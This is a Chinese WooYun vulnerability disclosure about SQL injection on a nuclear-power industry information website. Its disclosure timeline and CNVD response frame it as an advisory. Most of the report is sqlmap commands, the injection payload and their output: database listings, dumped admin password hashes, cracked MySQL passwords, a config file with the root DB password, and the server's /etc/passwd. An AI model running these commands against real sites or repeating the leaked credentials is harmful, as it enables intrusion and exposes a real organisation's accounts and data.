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缺陷编号：wooyun-2015-0156411

漏洞标题：中国核电信息网SQL注入导致服务器沦陷

相关厂商：中国核电信息网

漏洞作者： 路人甲

提交时间：2015-11-27 20:50

修复时间：2016-01-15 17:00

公开时间：2016-01-15 17:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-27： 细节已通知厂商并且等待厂商处理中
2015-12-01： 厂商已经确认，细节仅向厂商公开
2015-12-11： 细节向核心白帽子及相关领域专家公开
2015-12-21： 细节向普通白帽子公开
2015-12-31： 细节向实习白帽子公开
2016-01-15： 细节向公众公开

简要描述：

中国核电信息网SQL注入导致服务器沦陷，root权限，直接读取系统文件

详细说明：

注入点：http://**.**.**.**/index.php?mod=article&category_id=22&article_id=37541
通过sqlmap验证：

-g401905b\sqlmapproject-sqlmap-401905b>sqlmap.py -u "http://**.**.**.**/index.php?mod=article&category_id=22&article_id=37541" --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150815}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:19:21
[10:19:21] [INFO] resuming back-end DBMS 'mysql'
[10:19:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: category_id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: mod=article&category_id=22 AND (SELECT 7199 FROM(SELECT COUNT(*),CONCAT(0x7178786271,(SELECT (ELT(7199=7199,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&article_id=37541
---
[10:19:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0
[10:19:22] [INFO] fetching database names
[10:19:22] [INFO] the SQL query used returns 8 entries
[10:19:22] [INFO] resumed: information_schema
[10:19:22] [INFO] resumed: bbs_heneng
[10:19:22] [INFO] resumed: clients
[10:19:22] [INFO] resumed: discuz
[10:19:22] [INFO] resumed: heneng
[10:19:22] [INFO] resumed: mysql
[10:19:22] [INFO] resumed: supesite
[10:19:22] [INFO] resumed: test
available databases [8]:
[*] bbs_heneng
[*] clients
[*] discuz
[*] heneng
[*] information_schema
[*] mysql
[*] supesite
[*] test
Database: heneng
+-------------------+---------+
| Table             | Entries |
+-------------------+---------+
| sellinfo          | 65593   |
| article_comment   | 42843   |
| article           | 33950   |
| message           | 4751    |
| agentinfo         | 4336    |
| member2           | 2269    |
| itemnews          | 1592    |
| member            | 1288    |
| product           | 1160    |
| zhaopin           | 919     |
| elist             | 249     |
| mag_message       | 217     |
| member_cert       | 192     |
| tushu             | 139     |
| mproduct_category | 116     |
| menu              | 83      |
| ads               | 79      |
| exhibition        | 73      |
| member_show       | 60      |
| nps               | 50      |
| henengvideo       | 43      |
| marticle          | 40      |
| product_category  | 35      |
| article_category  | 33      |
| member_project    | 30      |
| hedian            | 29      |
| director          | 27      |
| hedian2           | 25      |
| member_menu       | 23      |
| member_template   | 14      |
| test              | 14      |
| experts           | 13      |
| ad_category       | 10      |
| channel           | 9       |
| buyinfo           | 8       |
| filter            | 7       |
| magazine          | 4       |
| thesis            | 4       |
| bannel            | 3       |
| toupiao           | 3       |
| admin             | 2       |
| admin_groups      | 1       |
| customer          | 1       |
| dealer            | 1       |
| olorder           | 1       |
| tcategory         | 1       |
+-------------------+---------+
Database: supesite                  
+----------------------+---------+  
| Table                | Entries |  
+----------------------+---------+  
| supe_spaceitems      | 1579069 |  
| supe_spaceblogs      | 1556091 |  
| supe_spacecache      | 53617   |  
| supe_spacecache2     | 48256   |  
| supe_spacecache3     | 46842   |  
| supe_members         | 37138   |  
| supe_spacecache4     | 37093   |  
| supe_attachments     | 36366   |  
| supe_spacecomments   | 29888   |  
| supe_spacecache13    | 28549   |  
| supe_spacecache17    | 27770   |  
| supe_spacecache14    | 27538   |  
| supe_spacecache15    | 27023   |  
| supe_spacecache16    | 26970   |  
| supe_spacecache12    | 26795   |  
| supe_spacecache8     | 26731   |  
| supe_spacecache6     | 26248   |  
| supe_spacecache5     | 26239   |  
| supe_spacecache7     | 26215   |  
| supe_spacecache11    | 25754   |  
| supe_spacecache19    | 24915   |  
| supe_spacecache20    | 24660   |  
| supe_spacecache18    | 24616   |  
| supe_spacecache10    | 23342   |  
| supe_spacecache9     | 22610   |  
| supe_spacenews       | 19453   |  
| supe_spacetags       | 7054    |  
| supe_userspacefields | 6707    |  
| supe_userspaces      | 6707    |  
| supe_spacecache23    | 6153    |  
| supe_tags            | 4652    |  
| supe_spacecache22    | 3849    |  
| supe_spaceimages     | 3487    |  
| supe_rss             | 2589    |  
| supe_spacecache21    | 2267    |  
| supe_itemtypes       | 1588    |  
| supe_guestbooks      | 1075    |  
| supe_userlinks       | 1004    |  
| supe_groupitems      | 866     |  
| supe_groupuid        | 764     |  
| supe_friends         | 665     |  
| supe_userfields      | 541     |  
| supe_spacecache24    | 308     |  
| supe_reports         | 272     |  
| supe_tagcache_9      | 183     |  
| supe_favorites       | 179     |  
| supe_effects         | 178     |  
| supe_tagcache_7      | 163     |  
| supe_tagcache_d      | 161     |  
| supe_tagcache_f      | 160     |  
| supe_tagcache_3      | 159     |  
| supe_tagcache_4      | 157     |  
| supe_tagcache_6      | 153     |  
| supe_tagcache_5      | 152     |  
| supe_tagcache_2      | 151     |  
| supe_groupfields     | 150     |  
| supe_groups          | 150     |  
| supe_tagcache_e      | 150     |  
| supe_tagcache_0      | 148     |  
| supe_tagcache_a      | 145     |  
| supe_tagcache_b      | 144     |  
| supe_tagcache_1      | 142     |  
| supe_tagcache_8      | 138     |  
| supe_tagcache_c      | 135     |  
| supe_categories      | 119     |  
| supe_spacelinks      | 91      |  
| supe_settings        | 75      |  
| supe_cache_1         | 72      |  
| supe_cache_e         | 72      |  
| supe_cache_f         | 71      |  
| supe_cache_5         | 68      |  
| supe_cache_7         | 68      |  
| supe_cache_9         | 67      |  
| supe_cache_6         | 66      |  
| supe_cache_4         | 64      |  
| supe_cache_b         | 62      |  
| supe_cache_d         | 62      |  
| supe_cache_0         | 60      |  
| supe_cache_8         | 59      |  
| supe_cache_a         | 51      |  
| supe_blocks          | 50      |  
| supe_cache_c         | 50      |  
| supe_cache_2         | 48      |  
| supe_cache_3         | 46      |  
| supe_prefields       | 37      |  
| supe_customfields    | 31      |  
| supe_styles          | 22      |  
| supe_tracks          | 22      |  
| supe_crons           | 10      |  
| supe_usergroups      | 10      |  
| supe_channels        | 9       |  
| supe_robotitems      | 9       |  
| supe_robotmessages   | 9       |  
| supe_attachmenttypes | 7       |  
| supe_usercss         | 7       |  
| supe_robots          | 6       |  
| supe_announcements   | 4       |  
| supe_visitors        | 2       |  
+----------------------+---------+  
Database: heneng
Table: admin
[2 entries]
+----------------+----------------------------------+
| admin_username | admin_password                   |
+----------------+----------------------------------+
| ism            | 14ca6f79cc8071cef0235d02bf36ee17 |   ism88793
| admin          | 1be3924ef6785251e6ca2ac625dad8ed |
+----------------+----------------------------------+


整个过程非常顺利，发现数据量还挺大的，包括用户注册信息，业务合作信息，通过文件扫描发现数据备份，联系商家的邮箱等信息：http://**.**.**.**/data.txt

QQ图片20141204161950.png


查看数据库权限：

database management system users [7]:
[*] 'discuz'@'localhost'
[*] 'heneng'@'localhost'
[*] 'mysql'@'localhost'
[*] 'root'@'**.**.**.**'
[*] 'root'@'**.**.**.**'
[*] 'root'@'localhost'
[*] 'wang'@'**.**.**.**'
database management system users password hashes:
[*] discuz [1]:
    password hash: *B085E56614DFB3DF10A282ACE192776DE8BB4FA4
    clear-text password: discuz
[*] heneng [1]:
    password hash: NULL
[*] mysql [1]:
    password hash: *6781874830042F50F83802EE8E616948158C28E4    heneng
[*] root [3]:
    password hash: *6E77A2A0D4056CF9F5209CEAC70A75EB7636C435     heneng
    password hash: *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA    mysql
    clear-text password: mysql
    password hash: NULL
[*] wang [1]:
    password hash: NULL


成功破解mysql密码。发现好几个都是弱口令

QQ截图20141204102514.jpg


root权限：可以直接上传和读取文件了吧：
试着读取网站源码：
通过访问文件报错得知绝对路径：

http://**.**.**.**/bbs/robots.txt
http://**.**.**.**/kehu/
http://**.**.**.**/includes/
http://**.**.**.**/kehu/
http://**.**.**.**/test/
Warning: Cannot modify header information - headers already sent by (output started at /data/www/heneng/test/index.php:1) in /data/www/heneng/test/index.php on line 35


读取数据库配置文件：sqlmap.py -u "http://**.**.**.**/index.php?mod=article&category_id=22&article_id=37541" -–file-write D:\1.php –file-read /data/www/heneng/config.php

QQ截图20141204113333.jpg


<?php
 //mysql
$db_host='localhost';
$db_name='heneng';
$db_user='root';
$db_password='mysql';
?>


试了下读取系统文件：

5-g401905b\sqlmapproject-sqlmap-401905b>sqlmap.py -u "http://**.**.**.**/index.php?mod=article&category_id=22&article_id=37541" --file-read /etc/passwd
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150815}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:45:20
[10:45:21] [INFO] resuming back-end DBMS 'mysql'
[10:45:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: category_id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: mod=article&category_id=22 AND (SELECT 7199 FROM(SELECT COUNT(*),CONCAT(0x7178786271,(SELECT (ELT(7199=7199,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&article_id=37541
---
[10:45:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0
[10:45:22] [INFO] fingerprinting the back-end DBMS operating system
[10:45:22] [INFO] the back-end DBMS operating system is Linux
[10:45:22] [INFO] fetching file: '/etc/passwd'
[10:45:23] [WARNING] reflective value(s) found and filtering out
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
wang:x:500:500::/home/wang:/bin/bash
mysql:x:501:501::/var/lib/mysql:/sbin/nologin
test1:x:502:502::/home/test1:/bin/bash
xiemengj:x:503:500::/home/xiemengj:/bin/bash
keli:x:504:0::/data/www


漏洞证明：

见说明

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-12-01 17:00

厂商回复：

CNVD确认所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，并抄报北京分中心协助处置，由其后续提供解决方案。

最新状态：

暂无

漏洞评价：

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